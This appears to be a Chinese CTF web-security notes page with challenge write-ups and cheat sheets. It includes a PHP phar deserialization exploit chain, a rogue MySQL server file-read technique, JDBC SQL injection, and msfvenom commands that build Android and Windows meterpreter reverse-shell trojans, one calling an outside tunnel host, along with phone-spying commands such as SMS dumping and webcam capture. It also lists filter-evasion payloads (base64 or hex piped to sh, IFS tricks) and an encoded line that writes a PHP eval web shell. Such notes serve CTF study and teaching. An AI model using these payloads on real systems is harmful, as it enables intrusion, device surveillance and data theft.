网络安全

bili_22_1024

今年比往年难,可见的,去年抄答案混分,说今年必然会做

只做了三道题,菜

  • ezinvader

    js文件里头有个颜文字,解出来有个post,直接跑密码,提示了8个星号,8位弱密码

    Aa123456,在响应头里,

    其实我自己没跑出来???

    问得别人密码,原来重置一下sessenid就行了

  • up

    文件上传

    <?php
    
    // flag in /tmp/flag.php 
    
    
    class Modifier {
    
        public function __invoke(){
            include("index.php");
        }
    }
    
    class Action {
        public $checkAccess='index.php';
        public $id='0a';
    
        public function run()
        {  
            if(strpos($this->checkAccess, 'upload') !== false){ 
                echo "error path";
                exit();
            } 
    
            if ($this->id !== 0 && $this->id !== 1) {
                switch($this->id) {
                    case 0:
                        if ($this->checkAccess) {
                            include($this->checkAccess);
                        }
                        break;
                    case 1:
                        throw new Exception("id invalid in ".__CLASS__.__FUNCTION__);
                        break;
                    default:
                        break;         
                }
            }
        }
    
    }
    
    class Content {
    
        public $formatters;
    
        public function getFormatter($formatter)//close
        {
            echo $formatter,'-----';
            if (isset($this->formatters[$formatter])) {
                echo '222222222222';
                return $this->formatters[$formatter];
            }
    
            foreach ($this->providers as $provider) {
                if (method_exists($provider, $formatter)) {
                    $this->formatters[$formatter] = array($provider, $formatter);
                    return $this->formatters[$formatter];
                }
            }
            throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
        }
    
        public function __call($name, $arguments)
        {
            $a=$this->getFormatter($name);
            echo $a;
            return call_user_func_array($a, $arguments);
        }
    }
    
    class Show{
        public $source;
        public $str;
        public $reader;
        public function __construct($file='index.php') {
            $this->source = $file;
            echo 'Welcome to '.$this->source."<br>";
        }
        public function __toString() {
            echo 'string--------';
            $this->str->reset();
            return '';
        }
    
        public function __wakeup() {
    
            if(preg_match("/gopher|phar|http|file|ftp|dict|\.\./i", $this->source)) {
                throw new Exception('invalid protocol found in '.__CLASS__);
                echo '111111111111111111';
            }
        }
    
        public function reset() {
    
            if ($this->reader !== null) {
                echo 'reset----'; 
                $this->reader->close();
            }
        }
    }
    $a=new Show();
    $a->str='1';
    $b=new Show;
    $b->reader='1';
    
    $d=new Content;
    $d->formatters['close']=array(new Action,'run');
    
    $a->reader=$d;
    $b->str=$a;
    
    
    $c=new Show($b);
    $c->str='1';
    $c->reader='1';
    
    
    // $a='O:4:"Show":3:{s:6:"source";O:4:"Show":3:{s:6:"source";s:9:"index.php";s:3:"str";O:4:"Show":3:{s:6:"source";s:9:"index.php";s:3:"str";s:1:"1";s:6:"reader";O:7:"Content":1:{s:10:"formatters";a:1:{s:5:"close";a:2:{i:0;O:6:"Action":2:{s:11:"checkAccess";s:9:"index.php";s:2:"id";s:2:"0a";}i:1;s:3:"run";}}}}s:6:"reader";s:1:"1";}s:3:"str";s:1:"1";s:6:"reader";s:1:"1";}';
    // unserialize($a)
    
    
    //show  _construct  _tostring  reset   content  _call  close  ,$this->formatters【'close'】 = 【new Action(), 'run'】
    
    
    $phar=new phar('test.phar');
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER();?>");
    $phar->setMetadata($c);
    $phar->addFromString("flag.txt","flag");
    $phar->stopBuffering();
    
    ?>
    

    改了后缀png,上传上去,触发

    ...

fake-mysql

fake mysql #

大佬的github

python3似乎也可运行

python2/3 roguemysqlserver.py

不要开启mysql ,关掉,filelist里头是你要读取的文件,外部连接时,会出现类似与报错的输出,这时候看mysql.log

已经有读取内容了

别人连接你的mysql,也需要加 -u -p,除非无密码

吃饭去了

java sql 注入

JDBC sql注入 #

jdbc类似于url解析

输入myapp#’ union select 1#

jdbc:mysql://mysqldbserver:3360/myapp#' union select 1#
解析成下面
jdbc:mysql://mysqldbserver:3360/myapp

再代入sql语句

select * from user where name='#' union select 1#' and pwd ='"+pwd+"'

第一个单引号包裹了,#成了字符串,第二个#注释后面

linux 知识点

软连接 #

  1. 在 linux 中,/proc/self/cwd/会指向进程的当前目录,在不知道 flask 工作目录时,我们可以用/proc/self/cwd/flag/flag.jpg来访问 flag.jpg。
  2. ln -s是Linux的软连接命令,其类似与windows的快捷方式。比如ln -s /etc/passwd shawroot 这会出现一个名为shawroot的文件,其内容为/etc/passwd的内容。
ln -s /proc/self/cwd/flag/flag.jpg shaw
zip -ry root.zip shaw
-r:将指定的目录下的所有子目录以及文件一起处理

-y:直接保存符号连接,而非该连接所指向的文件,本参数仅在UNIX之类的系统下有效。

/proc/self #

proc文件系统是一个伪文件系统,它只存在内存当中,而不占用外存空间。它以文件系统的方式为访问系统内核数据的操作提供接口。

还有的是一些以数字命名的目录,他们是进程目录,系统中当前运行的每一个进程都有对应的一个目录在/proc下,以进程的PID号为目录名,他们是读取进程信息的接口

  • cmdline

cmdline 文件存储着启动当前进程的完整命令

cat /proc/1083/cmdline
  • cwd

cwd 文件是一个指向当前进程运行目录的符号链接。可以通过查看cwd文件获取目标指定进程环境的运行目录

ls -al /proc/1083/cwd
  • exe 是一个指向启动当前进程的可执行文件(完整路径)的符号链接。通过exe文件我们可以获得指定进程的可执行文件的完整路径
ls -al /proc/1090/exe
  • environ

    environ文件存储着当前进程的环境变量列表,通过查看environ目录来获取指定进程的环境变量信息

    cat /proc/2889/environ
    
  • fd

    里面包含着当前进程打开的每一个文件的描述符(路径)

    ls -al /proc/1083/fd /proc/self表示当前进程目录
    
  • /proc/self表示当前进程目录,在过滤了很多字符时就用,比如目录穿越,任意文件等

    /proc/self
    

LOVE_math

<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 60) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh',  'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

好骚的姿势啊

<?php
$payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh',  'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($k=1;$k<=sizeof($payload);$k++){
    for($i = 0;$i < 9; $i++){
        for($j = 0;$j <=9;$j++){
            $exp = $payload[$k] ^ $i.$j;
            echo($payload[$k]."^$i$j"."==>$exp");
            echo "<br />";
        }
    }
}

字符串异或

...

msf

Android #

msfvenom -p payload LHOST=本地地址 LPORT=本地端口 -f 文件类型 -o 木马文件

msfvenom -p android -p android/meterpreter/reverse_tcp LHOST=192.168.43.97 LPORT=5555 R> demo.apk

启动msfconsole

use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set lhost 192.168.134.129
set lport 555
exploit/run

在手机上启动

sysinfo       //查看手机信息
app_list      //查看安装的app
webcam_snap   //拍照
dump_sms      //查看短信
dump_calllog  //通讯录
geolocate     //GPS
screenshot    //jx'py

Win #

msfvenom -p windows/meterpreter/reverse_tcp LHOST=free.idcfengye.com LPORT=10189 -f exe -o 123.exe

启动msfconsole

free.idcfengye.com

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost free.idcfengye.com
set lport 1234
run/exploit

等待目标上线

...

node 原型链污染

命令执行 #

常用

require('child_process').execSync('ls')
require('child_process').spawnSync('cat',['/flag']).output
global.process.mainModule.constructor._load('child_process').execSync('dir')

php

Zip #

利用 ZipArchive 内置类的open方法达到删除文件效果 #

class Jesen {
    public $filename='11.php';
    public $content=8;
    public $me;
}
$a=new Jesen;
$a->me=new ZipArchive;
echo serialize($a);

base64 #

文件包含过滤了base,用其他编码,不行多试几个

UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
EUC-JP*
SJIS*
eucJP-win*
SJIS-win*
...
\\具体支持的编码可见php官方文档
\\https://www.php.net/manual/zh/mbstring.supported-encodings.php
php://filter/convert.base64-encode/resource=

payload

php://filter//convert.iconv.EUC-JP*.UCS-4*/resource=flag.php

php

反序列化 #

序列化其实就是将数据转化成一种可逆的数据结构,自然,逆向的过程就叫做反序列化。

两个函数

serialize 将对象格式化成有序的字符串

unserialize 将字符串还原成原来的对象

<?php
class test{
    public $a;
    public $b;
    function __construct(){$this->a = "xiaoshizi";$this->b="laoshizi";}
    function happy(){return $this->a;}
}
$a = new test();
echo serialize($a);
?>

输出

O:4:"test":2:{s:1:"a";s:9:"xiaoshizi";s:1:"b";s:8:"laoshizi";}

序列化后字符串的格式

O:4:"对象名":变量数量:{s:变量名长度:"变量名";s:变量值长度:"变量值";s:1:"b";s:8:"laoshizi";}

修饰符 #

如果变量前的修饰符是protected或private,先将代码的修饰符改为public进行序列化,再做修改

private           =>%00class_name%00name    长度+类名长度+2
protected         =>%00*%00name             长度+3

php7.1+不敏感

常见的魔术方法

__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发

字符串逃逸 #

<?php
function repl($s){
    return str_replace('flag', 'hack!', $s);
}
class A{
    public $user='admin';
    public $pwd='123456';
}
$a=new A();
$u=serialize($a);
echo $u.'            ';
$b=unserialize($u);
echo $b->user.'          '.$b->pwd;
?>

输出,没问题

...

php命令执行linux绕过

在php中虽然有命令执行,但是过滤了很多,会让我们的难度变大

空格 #

${IFS}
$IFS$9
>
<>

inode #

打印文件的inode号

ls -i
tac `find / -inum incode号`

在获取到inode号配合可以查找文件及所有子目录文件并打印

cat `find . -inum inode号`

在linux 会优先执行反引号中的内容

tee #

欲执行命令 | tee 回显文件
如
l\s / | tee 1.txt

再访问1.txt


关键字被过滤 在中间加\

cat #

cat、tac、more、less、head、tail、nl、sed、sort、uniq

编码 #

用base64,解密并执行

echo bHMgLWwK | base64 -d | sh
echo "636174202f666c6167" | xxd -r -p|bash
#ascii的八进制编码
$(printf "\154\163")   -->ls
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67")
{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|$0

写shell
${printf,\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"}


# 脚本
def encodeOctal(str):

    # 只显示八进制
    print("八进制")
    for i in str:
        print(oct(ord(i)).replace("0o", "\\"), end="")

    # 显示Linux八进制payload
    print("\nlinux payload")
    payload = '$(printf${IFS}"'
    for i in str:
        payload += oct(ord(i)).replace("0o", "\\")

    payload += '")'
    print(payload)


if __name__ == '__main__':
    str = "cat flag_1s_here/flag_831b69012c67b35f.php"
    encodeOctal(str)

分隔符

...